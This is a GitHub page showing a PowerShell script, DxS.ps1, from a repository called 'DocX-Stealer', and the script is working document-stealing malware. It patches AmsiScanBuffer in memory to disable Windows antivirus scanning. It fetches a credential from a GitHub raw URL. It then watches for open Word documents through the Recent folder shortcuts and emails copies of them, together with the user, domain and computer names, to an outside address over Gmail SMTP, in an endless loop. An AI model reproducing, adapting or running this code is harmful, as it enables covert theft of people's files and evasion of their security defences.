-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDxS.ps1
145 lines (116 loc) · 4.26 KB
/
DxS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
Add-Type -AssemblyName System.Security
##### GLOBAL #####
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/niro095/DocX-Stealer/master/Secret')
[string[]]$Bytes = $Content.Split("`n")
$ContentX = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
$docsSent = New-Object Collections.Generic.List[String]
$appData = [Environment]::GetFolderPath('ApplicationData') + "\Microsoft\Windows\Recent"
$temp = [Environment]::GetFolderPath('ApplicationData')
$compName = $env:computername | Select-Object
##################
# AMSI ByPass
function AmsiBypass {
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
}
# Send Email function
function Send-Email {
$From = "[email protected]"
$To = "[email protected]"
$Attachment = $args[0]
$Subject = "Email Subject"
$Body = "UserDomain: " + $env:UserDomain + " ComputerName: " + $env:ComputerName + " UserName: " + $env:UserName + " Attachment: " + [io.path]::GetFileName($args[0])
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
$User = "UserName"
$PWord = ConvertTo-SecureString -String $ContentX -AsPlainText -Force
$Credential = New-Object -TypeName "System.Management.Automation.PSCredential" -ArgumentList $User, $PWord
Send-MailMessage -From $From -to $To -Subject $Subject `
-Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl `
-Credential $Credential -Attachments $Attachment
}
# Check if file locked
function Test-FileLock {
param (
[parameter(Mandatory=$true)][string]$Path
)
$oFile = New-Object System.IO.FileInfo $Path
if ((Test-Path -Path $Path) -eq $false) {
return $false
}
try {
$oStream = $oFile.Open([System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None)
if ($oStream) {
$oStream.Close()
}
return $false
} catch {
# file is locked by a process.
return $true
}
}
# Check lnk file origin
function Get-ShortcutsTarget{
$Shortcuts = Get-ChildItem -Recurse $appData -Include *.doc*.lnk
$Shell = New-Object -ComObject WScript.Shell
foreach ($Shortcut in $Shortcuts)
{
$Properties = @{
ShortcutName = $Shortcut.Name;
ShortcutFull = $Shortcut.FullName;
ShortcutPath = $shortcut.DirectoryName
Target = $Shell.CreateShortcut($Shortcut).targetpath
}
New-Object PSObject -Property $Properties
}
[Runtime.InteropServices.Marshal]::ReleaseComObject($Shell) | Out-Null
}
AmsiBypass
# Function as Main
Do {
# Check If WinWord process is open
$isOpen = get-process WINWORD -ErrorAction SilentlyContinue | select -expand id
# while WinWord is open
while($isOpen)
{
$Output = Get-ShortcutsTarget
foreach ($Target in $Output)
{
$isLocked = Test-FileLock $Target.Target
if ($isLocked -AND -NOT $docsSent.Contains($Target.Target))
{
$destination = $temp + "\" + [io.path]::GetFileName($Target.Target)
copy-Item -Recurse $Target.Target -passthru -Destination $destination
Send-Email $destination
$docsSent.Add($Target.Target)
Remove-Item -Path $destination -Force
}
}
sleep 5
$isOpenTemp = get-process WINWORD -ErrorAction SilentlyContinue | select -expand id
if ($isOpenTemp -ne $isOpen)
{
$docsSent.Clear()
$isOpen = $isOpenTemp
}
}
$docsSent.Clear()
sleep 5
} while ($true)